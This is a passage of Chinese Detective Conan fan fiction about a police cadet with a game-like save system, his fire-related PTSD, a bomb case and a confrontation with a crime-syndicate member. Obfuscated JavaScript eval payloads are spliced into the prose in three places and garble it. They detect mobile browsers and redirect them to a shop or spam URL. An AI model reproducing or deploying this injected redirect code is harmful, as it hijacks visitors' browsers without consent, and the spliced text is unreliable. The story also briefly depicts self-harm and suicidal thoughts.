森川和也有些恍惚,像做梦一样看着松田阵平拼好枪,萩原研二诈出偷藏子弹的同学。那颗黄铜色金属落在降谷零手里,如同带着使命一般飞离枪口,穿过绳索。 鬼冢教官和工人落了下来,被其他同学接住。 森川和也冲过去,单膝跪在鬼冢教官身边,快速检查:“颈部有勒痕,无开放性损伤,呼吸稍急促,脉搏快而有力……景光,帮我把教官的头颈固定在这个位置。” 诸伏景光立刻配合。森川用武装带和从随身带着的急救包里拿出的绷带,熟练地做了一个临时颈托。 鬼冢教官咳嗽着,脸色慢慢恢复正常。他看着围在自己身边、气喘吁吁却满眼关切的六个学生,又看了看地上那颗刚从萩原研二手里掉出来的子弹,最后目光落在降谷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189135|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 零还冒着淡淡硝烟的枪口上。 “……”他张了张嘴,最终只是重重叹了口气,“一群……乱来的家伙。” 当天晚上,宿舍楼的天台。 森川和也靠着栏杆,看着东京稀疏的星空。手腕上下午被萩原触碰过的地方,似乎还在隐隐发烫。 也可能是被工具箱砸的。 脚步声传来。萩原研二拿着两罐饮料,走到他身边,递过一罐。 “谢了。”森川接过。 两人沉默地喝了一会儿。晚风吹过,带着初夏的微热。 “你的手,”萩原研二终于开口,声音很轻,没有白天的嬉笑,“能给我看看吗?” 森川动作顿住。 “今天下午我摸到了。”萩原看向他,眼神里是难得的认真和不容回避的关切,“那不是小伤会留下的疤。小阵平拆卸机械时经常受伤,我见过各种伤口愈合的样子。你那个……很深,而且范围很大,伤到了肌腱,对吗?” 森川和也沉默了很久,久到萩原研二以为他不会回答了。 然后,他慢慢拉起右边作训服的袖子,露出手腕。 即使是在昏暗的光下,那些疤痕也清晰可见——横向的,狰狞的,横贯了整个手腕内侧。疤痕组织增生明显,颜色比周围皮肤深得多,可以想象当初伤口的深度和严重程度。 萩原研二的呼吸微微一滞。 “四年前,”森川的声音平静得没有波澜,仿佛在说别人的事,“我母亲那场火灾……我赶回去的时候,火已经很大了。消防员拦着不让进,说快塌了。” 他停顿了一下,灌了一口饮料。 “我没听。冲进去了。在二楼卧室找到她的时候,房梁正在往下掉。我推开她……自己的右手,被落下来的金属窗框砸中,然后被倒下的衣柜压在了下面。” 萩原研二握紧了手中的易拉罐。 “烧灼伤,复合型碾压伤,肌腱断裂,多处关节损伤。”森川笑了笑,那笑容很淡,“在医院躺了三个月,做了四次手术。命保住了,手也保住了,但是……再也恢复不到从前了。握力只有以前的七成,做细致动作时手指会抖,中指和无名指的联动也有问题。” 他放下袖子,遮住了伤疤。 “所以不是弃医从警。”他看向远处闪烁的城市灯火,“是无法再继续从医。拿不了手术刀,做不了精密缝合,连长时间握持器械都做不到……一个不能再上手术台的医学生,还有什么意义呢?” 萩原研二想说可以做其他科室,想说医学不止外科,但看着森川侧脸上那种平静的,像是接受了某种事物结束的神情,所有安慰的话都堵在了喉咙里。 他最终只是伸手,用力拍了拍森川的肩膀。 “至少,”萩原研二努力让声音听起来轻松些,“你现在开枪用的是两只手,比别人稳。” 森川愣了一下,随即真的笑了出来:“……这算什么安慰啊。” “这是事实嘛。”萩原研二也笑了,“而且今天多亏了你,教官的脖子才没二次受伤。不能用手术刀救人,但能用其他方式保护人——这不就是你现在在做的事吗?” 森川看着他,良久,轻轻点了点头。 “谢了,萩原。” 第二天早晨,在去训练场的路上,萩原研二将昨晚的谈话挑重点告诉了降谷零。 “……所以他不是主动放弃,而是被迫离开。”降谷零听完,沉吟道,“但档案里没有记载他冲进火场,也没有手部重伤的详细医疗记录,只提到了火灾后身心受创,健康状况影响学业。” “档案可以修改或不记录细节,”诸伏景光轻声说,“尤其是,如果当事人或家属不希望某些事情被详细记载的话。” “问题就在这里。”降谷零说,“一场意外火灾,儿子为救母亲重伤导致职业生涯终结——这本身就是一个足够悲惨但也完整的故事。为什么森川要隐瞒手的真实情况,而用讨厌医学这种幌子?除非……” “除非火灾本身,或者他受伤的细节,有他不愿意让人深究的部分。”松田阵平接道。 四个人沉默地走着。前方,森川和也正和伊达航说着什么,侧脸上带着有些散漫的笑容,完全看不出昨夜的沉寂。 松田阵平快走几步追上了前面的伊达航和森川,似乎随口问了森川和也一句什么,森川摆了摆手,两人便没再继续话题。 萩原研二看着松田和森川并肩走着的背影,忽然说:“小阵平那家伙,其实早察觉到了吧。关于森川和也。” “啊。”降谷零应了一声。 “小和也藏着很多事情呢。”萩原研二评价,“像小景光一样,是吧?” 突然被cue的景光:“……” 这个萩原研二也太敏感了! 9. 09 森川后悔过很多次自己一定要读警校。在其他人看了他惨不忍睹的实战课成绩后纷纷表示可以帮忙训练后,他的休息时间和折腾同期的快乐就像流水一样消失了。 你也不想因为调戏同期被打的吧? 明明只是饭桌上,他在萩原打趣伊达航时添了几句乱,谁知道班长背着他们偷偷有了女朋友,于是那天的训练大家格外卖力,森川和也几乎是爬回去的。 太丢脸了! 除此之外,这几个混蛋还养成了看他梦游的习惯,嘴上说着什么怕小森川出意外,真拿到手机了一个比一个爱拍,森川和也这辈子的黑历史几天就用完了。 当然,他反手就把同期藏手机的事捅了出去。 然后又挨了顿揍。 “话说班长是不是喜欢zero啊。”萩原研二托着腮,“这种事情我也不是不能接受啦。” 两个人大惊失色。 森川和也一口饭噎在喉咙里,被呛的疯狂找水喝。 我嘞个警校组啊这也是可以说的吗?现在是一九几几年来着,这个思想会不会太超前了! 但是话又说回来…… “是喔。”森川和也严肃地附和,“班长也太偏心zero了,连我都看出来了!” “其实是……”伊达航不好意思地挠头。 “……” “你是说你有女朋友?” 几个人露出豆豆眼。 森川和也拍案而起:“萩原研二!谁让你多嘴的!连我都没有女朋友!” 玩家不止没有女朋友,玩家也没有男朋友,玩家连攻略游戏都没攻略到人。 “……别这样小森川我可以帮你介绍的!”萩原研二躲到松田阵平背后,“小阵平,小阵平帮帮我——小阵平你怎么走了!” 后来…… 是便利店抢劫案件。 森川很想吐槽为什么劫匪不去抢银行,反而要盯着各式各样的便利店动手。但想想伊达航的过去,又觉得幸好是没有远大志向的绑匪,这才让班长解开心结。 那天他正在和其他的同期谈论一些事情,从系统面板上看到特殊案件发生后,便带着同期们过去汇合,也算是帮了一部分忙。 不过被鬼冢骂了就是。 第二次联谊会萩原研二下了血本要包饭,于是大家很默契地骗松田阵平和降谷零参加,就连本来要陪女朋友的伊达航都一起来了。 谁知道这几个家伙的默契里包括自己,整场联谊会但凡森川和也闭上眼睛,就会有魔鬼般的声音在他耳边响起: “你也不想3p的事被人发现吧?” “是谁说没有女朋友的?” 森川和也猛然惊醒,恰好和对面甜甜笑着的同期对视。 “可恶,森川同学明明是这么帅气的长相,但完全让人提不起恋爱的冲动呢。”同期捧着脸,“也不知道为什么,看着这张脸只会觉得想保护这样子。” 森川和也真诚疑问:“这也是萩原计划的一部分吗?” “不是哦。”萩原笑眯眯的,“只是觉得小和也不像是会谈恋爱的类型,对吧麻衣酱?” “对的对的。” “不对不对。”森川和也无力地辩解,“我也会有想谈恋爱的时候啊……” 一个攻略游戏到现在攻略对象为零说出去玩家不要脸的吗? 然而没有人在意。 根本没有。 森川愤愤地记仇,连联谊会结束回去的时候都在盘算要把谁坑回去。 他思考的很认真,以至于忽视了诸伏景光的异常。 再后来,是松田阵平和萩原研二提前被机动队录走。 几个人在合伙救下被失控卡车拖着走的小轿车和卡车司机。 第一次,森川试图跳到小轿车上。 没跳上去。 【读档】 试图在小轿车经过时抓住车门上车。 右手肌无力,没抓住。 【读档】 卡操作卡到小轿车上,但不会拆保险杠。 被松田骂“你是笨蛋吗”。 【读档】 带着锤子把保险杠敲下来。 ……忘记还要救卡车司机了,被降谷骂“你是笨蛋吗”。 【读档】 被萩原研二的车技吓到。 【读档】 翻到卡车驾驶室,不敢踩油门,踩刹车拉着卡车司机给自己陪葬了。 【读档】 试图拉着卡车司机一起跳车。 被萩原骂笨蛋了。 【读档】 放弃,在后面鼓掌。 被踩油门的两辆车吓到。 【读档】 被气的准备氪金找不到氪金入口,再回来时发现大家已经把人和车救下来了。 赔车钱给鬼冢教官。 玩家感到丢脸溜溜达达地走了。 被抓回来揉搓。 至于诸伏景光,调查是从一张泛黄的旧照片开始的。 他总会在深夜的宿舍里从那个血色的噩梦中惊醒。有时zero在旁边,但更多时候不在。他坐起身,额头布满冷汗。 “又梦到了?”降谷零的声音在黑暗里很清晰。 “……嗯。”景光抹了把脸,“我前几天看到了和小时候玩伴长的很像的孩子,可能是因为这些才……” 在景光的事上,大家都在帮忙,一直到最后筛选出三个嫌疑人。 森川和也总是安静地听着,目光落在诸伏景光略显苍白的脸上。他眼前的系统界面无声地更新: 【关键事件触发】 【是否参与】 众人聚在一起,将已知线索一点点铺开。景光努力回忆着十五年前的片段:父母、敲门声、突然的响动、阴影、血迹……以及最深刻的酒杯纹身。 “小和也,你怎么了吗?”萩原研二注意到森川和也的异常。 从上次案件发生之后,森川似乎就恹恹的。 “没事哦。”森川和也神情有些奇怪,“只是想到了一些家里的事。” …… 一切顺利。 他们很快就推测出凶手是外守一。 “如果现在就去找他的话,要不要带些工具?”森川和也提议,“我看档案上外守有里的生日就是今天,如果外守一打算做些什么,还是提前准备一下比较好。” 一个失去女儿、精神可能已经失常的父亲。 一个迁怒于他人,破坏女儿好友家庭的罪犯。 “去洗衣店。”降谷零站起身,眼神锐利。 外守一的洗衣店看起来平凡无奇。门口挂着“暂停营业”的牌子,里面很安静,连机器运作声音都没有。 “门锁上了?”森川和也问。 “对,不过不要紧。”萩原研二轻快地回答,“这种u型锁超级简单的。” 森川和也的目光扫过洗衣店内部结构,落在那一排洗衣机上。某种强烈的不安感攥住了他的心脏,像近乎直觉的警告。 …… 巨大的爆炸声吞没了一切。灼热的气浪、碎裂的玻璃和金属、以及刺目的火光将他完全吞噬。最后的感觉是剧痛,和系统冰冷急促的提示音: 【检测到玩家生命体征急剧下降】 【致命伤害判定】 【读档功能强制启动】 …… 森川和也猛地吸了一口气,像是溺水的人浮出水面。他站在洗衣店对面的街角,身边是正在低声讨论行动方案的同期们。阳光明媚,街道平静。 一场逼真的噩梦。 “森川?你脸色很难看。”诸伏景光关切地看他。 “……没事。”森川用力掐了自己掌心,强迫自己冷静下来。 洗衣店一楼没有人,但洗衣机里却像放着什么东西。降谷零正要伸手查看,立刻被紧张的松田阵平拦住。 “别动。”松田阵平脸上是少有的严肃,“里面应该是炸弹。” “但是松田和萩原的手被猫挠伤了,短时间内不适合进行精细操作。”森川和也心中一动,看向降谷零。 一时间,金发青年被所有人的目光注视着。 “没办法,你现在是最合适的人嘛。”萩原轻快道。 伊达航:“那就松田留在这里指导降谷拆弹,森川、萩原去疏散居民,我和诸伏上去找外守一。” 这个分配合情合理,最大程度发挥了各人长处,也避免了伤兵涉险。 森川举手:“我没问题。” 松田阵平虽然不爽不能亲手拆,但也知道这是最优解:“啧,zero,听好了,步骤我只说一遍……” 外守一抱着昏睡的小女孩,正坐在二楼的休息室里。他看到景光的脸,表情瞬间扭曲,又在低头看向被绑架来的孩子是转变成一种诡异的温柔。他伸出手,露出炸弹控制器。 “有里……爸爸找到你了……”他喃喃着,眼神涣散,“你生日到了,我们一起去郊游,这次爸爸一定陪你去,谁也不能打扰我们……” “外守先生,”诸伏景光的声音异常平稳,带着穿透时光的温柔,“有里跟我说过,那次郊游前,你们吵架了。她很伤心。” 外守一浑身一颤。 “她说,她很生气,再也不要回家了。”景光缓缓上前一步,蓝色的眼睛直视着对方。 就是现在! 外守一情绪激动地抬起头,下一刻诸伏景光扑上去,试图控制住外守一。伊达航接住险些摔在地上的小女孩,把她牢牢护在自己怀里。 “把它给我!”外守一在地上挣扎,“把她还给我……” 扭打中,外守一抓住炸弹控制器,按下了那个红色的按钮。 诸伏景光心脏停跳了一拍。 无事发生。 楼下,在松田阵平的指令下,降谷零用最快的速度和最稳的手,拆开了那台改装炸弹的外壳,剪断了最关键的一组引线。 外守一还在地上挣扎。 “有里……一直想回家。”诸伏景光轻声说,“她从来没有真正想过离开你。她只是像所有孩子一样会闹别扭,那天郊游时她告诉我,她想回家和爸爸道歉。” “啊……啊……”外守一捂住脸,发出野兽般的哀嚎,身体蜷缩起来,“我错了……我都做了什么……我对不起……对不起诸伏……对不起……” 扭曲的父爱、丧女之痛、漫长的误解和偏执。 伊达航叹了口气,和诸伏景光一起押着外守一下楼。 然而这个年过半百的中年人忽然回头,对诸伏景光说:“我……我要去那个世界,亲自向你的父母道歉。” 他的眼神里有一种诡异的平静,甚至是一种解脱般的决心。 景光皱眉,心中警铃微响。 “轰——” 洗衣店的二楼突然冒出了浓烟,紧接着是火光——那里竟然还有一处延迟起爆的装置!火势瞬间蔓延开来! “楼上有煤气罐!”景光突然意识到。 外守一不知哪里来的力气,猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别问你父亲的事。”森川玲子说,“Kazu,别去问那些,别去想那些。” “为什么。”年幼的孩子倔强地问,“他是我爸爸,为什么什么都不告诉我。” “你太小了,小到什么用处都没有,什么忙都帮不上。”森川玲子冷漠地说。 …… 火光里,她把什么东西塞到森川手里: “别让任何人知道你回来过。快走,森川和也。” …… 降谷零单膝跪在他面前,双手用力按住他颤抖的肩膀,强迫他看着自己的眼睛:“森川!看着我!结束了!景光出来了!外守一也出来了!火灭了!听见没有?结束了!所有人都活着!” 森川空洞的视线缓慢聚焦,落在降谷零焦灼的脸上,又缓缓移向旁边,看到被松田阵平扶着的、虽然狼狈但确实活着的诸伏景光。 外守一躺在地上,伊达航在旁边看管,萩原研二见他的视线扫来,扯出一抹宽慰的笑。 远处,警笛声响。 “结……束了?”他嘶哑地问。 “结束了。”降谷零一字一句地说。 紧绷的弦骤然断裂。森川眼前一黑,彻底失去了意识。 医院里,消毒水的味道弥漫。 森川和也在病床上醒来,右手腕被重新包扎过。降谷零守在床边,看到他醒来,松了口气。 “他们呢?”森川声音沙哑。 “hiro有一点烧伤,但没大问题。外守一被爆炸波及,不过死不了。”降谷零简单地说,“其他人都没事。” 沉默了一会儿。 “你想冲进去的时候已经失去意识了,根本不知道hiro的具体位置,也不知道自己在做什么。”降谷零陈述事实,“你只是看到火,就失控了。” 森川闭上眼:“……嗯。” “四年前,你母亲的那场火灾,”降谷零的声音很轻,不是质问,而是确认,“你没能救她出来,是吗?或者说,你试了,但……像这次一样,被拦住了,或者发生了别的什么。” 森川没有否认。 “那不是你的错。”降谷零说,“这次也不是。没有人会怪你。hiro很感激你,虽然你差点把自己搭进去。” 森川和也睁开眼,看着天花板。 “警察会遇到火灾,遇到爆炸,遇到所有你能想到和想不到的危险。”降谷零站起身,走到窗边,“你的PTSD如果不面对,它会成为你职业生涯里最致命的弱点,也可能在关键时刻害死你,或者你的同伴。” “我知道。”森川低声说。 “我会和鬼冢教官说明这件事,应该会有学校的心理辅导老师找你谈话。”降谷零回头看他,“这不是处罚,是必要的帮助。我们都需要一个能绝对信任后背的搭档,和也。你需要先能信任你自己,在火场里也能保持基本判断的自己。” 森川沉默良久。 “……不。” 最终他说。 “唯独这件事……不要让鬼冢知道,zero。”他低着头,声音很慢,“我以后会告诉你们发生了什么,别告诉其他人,求你。” 【诸伏景光个人线完成】 【伊达航个人线完成】 【萩原研二个人线完成】 【触发关键转折】 【读档功能使用记录+1。当前剩余次数:未知。】 10. 010 毕业典礼前一周,鬼冢八藏把森川和也叫到了办公室。 办公室里只有他们两个人。鬼冢教官没坐在办公桌后,而是站在窗边,看着外面操场上正在做最后训练的学员。 “坐。”鬼冢教官说,自己也在对面的椅子上坐下。 “你的分配意向填的是搜查一课。”鬼冢教官从桌上拿起一份文件,但没有打开,“但我觉得那里不适合你。” 森川没说话。 “你的成绩单很特别。”鬼冢教官继续说,语气平静地陈述,“急救、现场医学、痕迹观察,这几项你比很多教官都强。理论课中等,格斗和射击——及格,但也就及格了。还有你的心理评估报告。” 森川的手指几不可察地收紧了些。 “创伤后应激障碍,火灾相关。”鬼冢教官看向他,“如果去一线,你早晚会再碰到火灾现场。到时候,你是能救人的那个,还是需要别人救的那个?” 办公室里很安静,能听到远处操场上隐约的口号声。 “有个部门来找过我。”鬼冢教官把文件推到他面前,“警视厅公安部。他们看了你的档案,对你的观察和分析能力感兴趣。至于你的心理问题——他们说,那反而证明你有‘不愿提及的过去’,而这种人,有时候更适合他们那种活在阴影里的工作。” 森川看着那份文件,封面上印着“公安部特别录用考察”的字样。 “公安的工作,”鬼冢教官的声音低了些,“不光是抓犯人。他们要对付的是更模糊、更危险的东西——间谍、恐怖分子、渗透组织。很多时候,他们做的事永远不能公开。如果你去了,你的同期们可能很久都不会知道你在做什么,甚至可能会误会你。” “我知道。”森川说。 “你知道什么?”鬼冢教官看着他。 “知道那种感觉。”森川抬起头,“消失在人群里,做别人不理解的事。但是……如果这样做能保护重要的人,那就值得。” 鬼冢教官看了他很久,最后点了点头:“文件拿回去看,三天内给我答复。不管你选什么,记住——警校教你们的,不只是怎么当警察,更是怎么活下去。” “是。” 毕业后的生活,和森川想象的不太一样。 公安的工作确实隐秘。他没有固定的办公桌,大部分时间在外面跑,接触的人三教九流,做的事五花八门。写报告要用暗语,行动要报备但不说细节,同事之间礼貌而疏远。 唯一让他觉得还在人间的,是和那几个人的聚会。 通常是在某个小居酒屋,伊达航、松田阵平、萩原研二——如果大家都有空的话。诸伏景光和降谷零从毕业后就断了联系,偶尔有传闻,但没人知道确切消息。 “那两个家伙,”松田阵平喝了一口啤酒,把杯子重重放下,“绝对是去干见不得人的事了。” “小阵平,别这么说嘛。”萩原研二笑嘻嘻地给他添酒,“说不定是机密任务呢。” “机密到连个电话都不能打?”松田皱眉,“这都大半年了。” 伊达航吃着烤鸡肉串,声音沉稳:“他们有他们的理由。我们能做的就是相信他们,然后把自己手头的工作做好。” 森川和也安静地坐在角落里,听他们说话。他面前的酒杯还是满的。 “小和也,你呢?”萩原研二看向他,“听说你在总务部?怎么样,无聊吗?” “还好。”森川说,“整理文件,跑跑腿。挺清闲的。” “清闲不好吗?”伊达航说,“总比我们一天到晚出现场强。” “就是。”萩原研二凑近些,压低声音,“不过我说啊,森川,你这脸色可不像清闲的样子。黑眼圈都快掉地上了。” “最近睡得不好。”森川实话实说。 是真的睡不好。自从他开始偷偷调查父母的事,每晚一闭眼,就是四年前那场大火。火焰的颜色,热浪的触感,还有母亲最后推他出去时手上的温度——这些记忆越来越清晰,清晰得不像记忆,倒像是一直在眼前重播。 他在公安内部的系统里查过父亲的失踪案,档案编号还在,内容只有寥寥几行:失踪,原因不明,调查中止。母亲的火灾案结论是意外,现场照片和报告都有,有些细节对不上——但森川和也不知道是不是因为自己错乱的记忆。 他想调取更详细的资料,可权限不够。每次申请,系统都提示“该案件涉及更高级别机密,您的权限不足”。 那天晚上,他独自坐在办公室里,看着电脑屏幕上“权限不足”的红色提示,突然产生了一个荒谬的念头。 如果这个身份查不到,要不要重开一个?像之前玩游戏那样,删号,重练,换个身份从头开始。 这个念头让他后背发凉。不是因为觉得疯狂,而是因为他发现自己真的在认真考虑可行性——计算需要多少时间,从哪里开始。 这是一件没有成本的事。 他知道这不对……但有什么不对?他是玩家,所有的一切都是为他服务的,他控制不住去想。 如果重来一次,是不是就能更早查到真相?是不是就能阻止一些事? 如果重来一次,他会不会选择走另一条路,不去警校,不遇见这些人—— 不。这个念头被他狠狠掐灭了。 他不能重来。 布伦尼文的死好像还是昨天的事,但他知道再也回不去那天了。他再也不会和琴酒搭档,不管用什么身份都没办法再次接近他。 是森川海自己选择了错误的死亡。 …… 联合办案是个意外。萩原研二和松田阵平所在的□□处理班在处理一个疑似恐怖分子安置炸弹的案件。森川因为公安需要协调情报,也被派了过去。 和同期撞上时,双方都很惊讶。 森川在心里骂人,说好的隐姓埋名在黑暗中被误解呢?都是骗人的!这下好了,怎么跟这两个家伙解释? 而萩原开开心心地就过来了:“原来小和也是在公安工作呀,我和松田就说你肯定不会去总务部——” “嘛,既然这样就好办了。”松田倒是松了口气,“你的同事们很讨厌啊。” 森川和也:“……” “同事讨人厌,我也要挨打吗?”森川真诚地问。 “……你知道我不是这个意思!” 炸弹在一个废弃仓库。炸弹已经拆除,但现场还需要勘查。森川在仓库二楼的栏杆边站着,看下面的人忙碌。 萩原研二上来找他,手里拿着两罐咖啡:“喏,提提神。” “谢了。”森川接过,但没打开。 “小和也,”萩原研二靠在旁边的栏杆上,“你最近是不是有什么事?” “为什么这么问?” “因为你站在这儿的样子,”萩原研二转过头看他,“不像是在看现场,像是在想从这里跳下去会怎么样。” 森川的手指收紧了。罐装咖啡的外壳发出轻微的变形声。 “我开玩笑的。”萩原研二立刻说,语气轻松,但眼神没离开他的脸,“不过说真的,如果有什么事,可以跟我们说。虽然那两个家伙不在,但我和小阵平、班长都在这儿。” “我没事。”森川说。 “是吗?”萩原研二笑了,“那你告诉我,你左手手腕内侧那个新伤疤,是怎么来的?” 森川下意识地把左手往身后藏了藏。 那是上周的事。他在家里又一次梦到火灾。惊醒的时候手里拿着把水果刀,刀尖抵在手腕上。他没想自杀——至少现在没有。但身体记住了某种冲动,那种如果重来一次的冲动。 刀尖划破了皮肤,留下一道不会消失的伤痕。 “不小心划到的。”他说。 萩原研二没再追问。他喝完自己的咖啡,拍了拍森川的肩膀:“下班后去喝一杯?就我们三个。” 那天晚上,在常去的那家居酒屋,三个人坐在角落里。 一开始只是闲聊工作上的事。直到松田阵平突然说:“森川,你是不是在查什么?” 森川抬起头。 “公安的人不会闲着。”松田阵平盯着他,“但你最近的状态,不像是在处理正常工作。你在查私事,对吧?” 萩原研二在旁边安静地听着。 森川和也沉默了很久。居酒屋里有点吵,隔壁桌的人在划拳,老板娘在柜台后算账,烤炉上的肉串滋滋作响。 “我父母的案子。”他最终说,“我想知道真相。” “查到什么了?”松田阵平问。 “什么都查不到。”森川说,“权限不够。每次申请都被驳回。” “所以你在想别的办法?”萩原研二轻声问。 森川和也没否认。 “蠢货。”松田阵平说,但语气里没有责备,“查不到就慢慢查,等权限够了再查。你急什么?” “我不知道。”森川说,“但我总觉得……如果再等下去,会来不及。” “什么来不及?” 森川和也答不上来。那只是一种感觉,一种源于玩家的紧迫感。他知道有什么事情要发生了,但他不知道是什么事,也不知道在什么时候。 “带我们去看看。”松田阵平突然说。 “看什么?” “你母亲出事的地方。”松田站起身,“既然你想查,光坐着想没用。去现场,用眼睛看。” 老房子还在。 四年前那场火灾后,房子一直空着。周围的邻居搬的搬,走的走,这片街区显得格外冷清。房子外表被熏黑的痕迹还在,窗户都用木板封死了,门口贴着“危险勿近”的告示。 推开门,一股灰尘和焦糊的味道扑面而来。 森川和也站在门口,没动。 里面很暗,只有从破掉的窗户缝隙里透进来的光。客厅的天花板塌了一半,地上的家具烧得只剩框架,墙上全是烟熏的痕迹。 “森川?”萩原研二回头叫他。 森川的呼吸开始变快。他盯着那片黑暗,眼前开始出现重影——四年前的火焰仿佛还在燃烧,热浪一阵阵扑来,他能听到木头爆裂的声音,听到母亲的呼喊—— “森川!”松田阵平的声音把他拉回来。 森川和也猛地吸了口气。 “你母亲当时在哪里?”萩原研二问,声音很轻。 “二楼卧室。”森川的声音发干。 他们踩着烧毁的楼梯上楼。楼梯板发出不堪重负的吱呀声,每一步都扬起灰尘。 二楼的情况更糟。主卧室的门烧没了,里面的床、衣柜、梳妆台,全都成了一堆焦黑的残骸。地上有消防水渍干涸后的痕迹,混着灰烬,像被烧干的泪渍。 森川站在卧室门口,一动不动。 就是这里。四年前他冲进来,看到母亲躺在床上。 床上是什么,为什么鲜红一片? 他冲过去想拉她,房梁掉下来,滚烫的窗框砸在他的手上,金属划开他的皮肤,然后是衣柜—— 他开始发抖。 “森川,”松田阵平走到他身边,“你当时进来的时候,看到了什么?” “火……很多血……我妈妈倒在那里……”森川的声音断断续续,“我想拉她……然后……” 他的视线落在卧室角落。那里有个烧焦的梳妆台残骸,抽屉都掉出来了,里面的东西散了一地,全是烧毁的杂物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189137|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有什么东西在记忆里闪了一下。 ——母亲把他往外推的时候,好像往他手里塞了什么东西。一个小小的、冰凉的东西。 他当时太慌也太害怕,没注意。后来在医院醒来手里什么都没有,他以为是自己记错了。 但现在站在这里,那个触感突然变得无比清晰。 “她给了我一件东西。”森川说,“但我丢了。或者……我藏起来了?” “藏在哪里?”萩原研二问。 森川环顾四周。这个房间,这个家,他从小长大的地方。如果小时候要藏东西,会藏在哪里? 墙角的踢脚线?地板下的暗格?还是—— 窗台。卧室的窗台外面,有一小块放花盆的水泥台。小时候,他经常把不想被母亲发现的“宝贝”藏在那里,用塑料袋包好,塞在花盆底下。 森川走到窗边。窗户早就烧没了,窗框变形,外面那块水泥台还在,上面堆着烧塌的碎砖和灰烬。 他伸手去扒。松田阵平和萩原研二对视一眼,也过来帮忙。 砖块和灰烬被一点点清开。水泥台边缘,有一块松动的砖。 森川的手抖得更厉害了。他抠住砖块的边缘,用力—— 砖块被拿开了。里面是一个小小的、被烧得变形的铁盒。 铁盒已经锈蚀,盖子卡死了。 “回去再看。”森川和也心里越来越慌,“我们先走。” 就在这时,楼下传来脚步声。 不是一个人,是几个人,脚步很轻。 松田阵平立刻按住森川的肩膀,示意他别出声。萩原研二悄无声息地挪到门边,从烧毁的门框边缘往外看。 楼下站着三个男人。都穿着黑色的衣服,戴着帽子,看不清脸。他们站在客厅里,正在打量四周。 “找东西的。”萩原研二用口型说。 松田阵平看向森川手里的铁盒。 森川的心脏狂跳起来。这些人是谁?为什么现在来这里?他们也在找这个东西? 怎么会这么巧? 楼下的一个人抬起头,看向楼梯的方向。他的目光似乎穿透了黑暗,直直落在二楼。 “上面有人。”那个人说。 松田阵平一把拉起森川:“后窗。快。” 他们从卧室后窗翻出去。窗外是个窄窄的屋檐,连着隔壁房子的屋顶。萩原研二先跳过去,然后伸手接应森川和也,松田阵平断后。 三个人在屋顶上猫着腰移动。下面传来破门而入的声音,那几个人追上来了。 “分开走。”松田阵平低声说,“我和hagi引开他们,你带着东西先走。” “不行——” “别废话。”松田阵平推了他一把,“你是公安,这东西肯定重要。快走。” 萩原研二给了森川一个“放心”的眼神,然后和松田阵平朝另一个方向跑去,故意弄出响声。 森川咬咬牙,朝反方向跑。他跳过几个屋顶,找到一处防火梯,爬下去,落在小巷里。 小巷很暗,堆满了垃圾箱。他刚落地,就听到身后有脚步声追来。 不是松田他们引开的那几个。是另一个人,从巷子另一头堵过来了。 那个人从阴影里走出来。 他——森川海脸色煞白,他认识这个人! 卡慕,当初杀死过清水茶柱的代号成员,没想到现在竟然还活着?! 森川和也的事和黑衣组织有关! 卡慕开口:“把东西交出来。” “什么东西?”森川和也把U盘悄悄塞进裤子口袋深处。 “你母亲留给你的。”卡慕说,“别装傻。我们找了四年。” 森川和也的心沉了下去。 “你们是谁?”他问,同时慢慢后退,眼睛在寻找逃跑的路线。 “你不需要知道。”卡慕走近一步,“把东西给我,你可以活着离开。” 谁会信这种话?森川转身就跑。但他刚跑出两步,就感到后颈一痛——被什么东西击中了。他踉跄着扑倒在地,眼前发黑。 森川和也身体素质太差了,连技术员清水茶柱都比不上,早知道这样他一定会跟着降谷零好好训练的。 卡慕蹲在他面前。 “何必呢。”卡慕说,伸手去搜他的口袋。 就在男人的手碰到铁盒的瞬间,森川和也猛地抬头,脱口而出:“卡慕!” 男人的动作顿住了。他盯着森川,眼睛里第一次出现了情绪——惊讶,然后是杀意。 “你怎么知道这个名字?”卡慕的声音冷了下来。 没有回答。 卡慕抓住他的头发,把他的头提起来:“说。谁告诉你的?” “哈。”森川和也发出一声嘲讽的笑,“你们像狗一样,追着我爸妈咬了十几年,结果还不是被耍了?你以为这么重要的东西她会给我,别犯蠢了——” 枪声。 森川和也的大脑一片空白。 卡慕饶有兴味地侧了侧头,语气轻柔:“啊,你的朋友好像死了呢。” 森川和也先是愣住,随后是巨大的愤怒。 “你当初为什么想杀布伦尼文?”森川和也突然问,“你和他没有利益冲突,还是说你暗恋琴酒?” 他观察着卡慕的表情。 “哦,我明白了,布伦尼文的推论是错误的,你不是老鼠。” 卡慕反而把枪收起来了。 “有点意思。”卡慕评价,“你可不该知道这么多……是你那早死的爸告诉你的,还是布伦尼文那个废物?” “或许都不是。”森川和也冷冷地看着卡慕,“你猜猜琴酒有多清白呢?” 11. 011 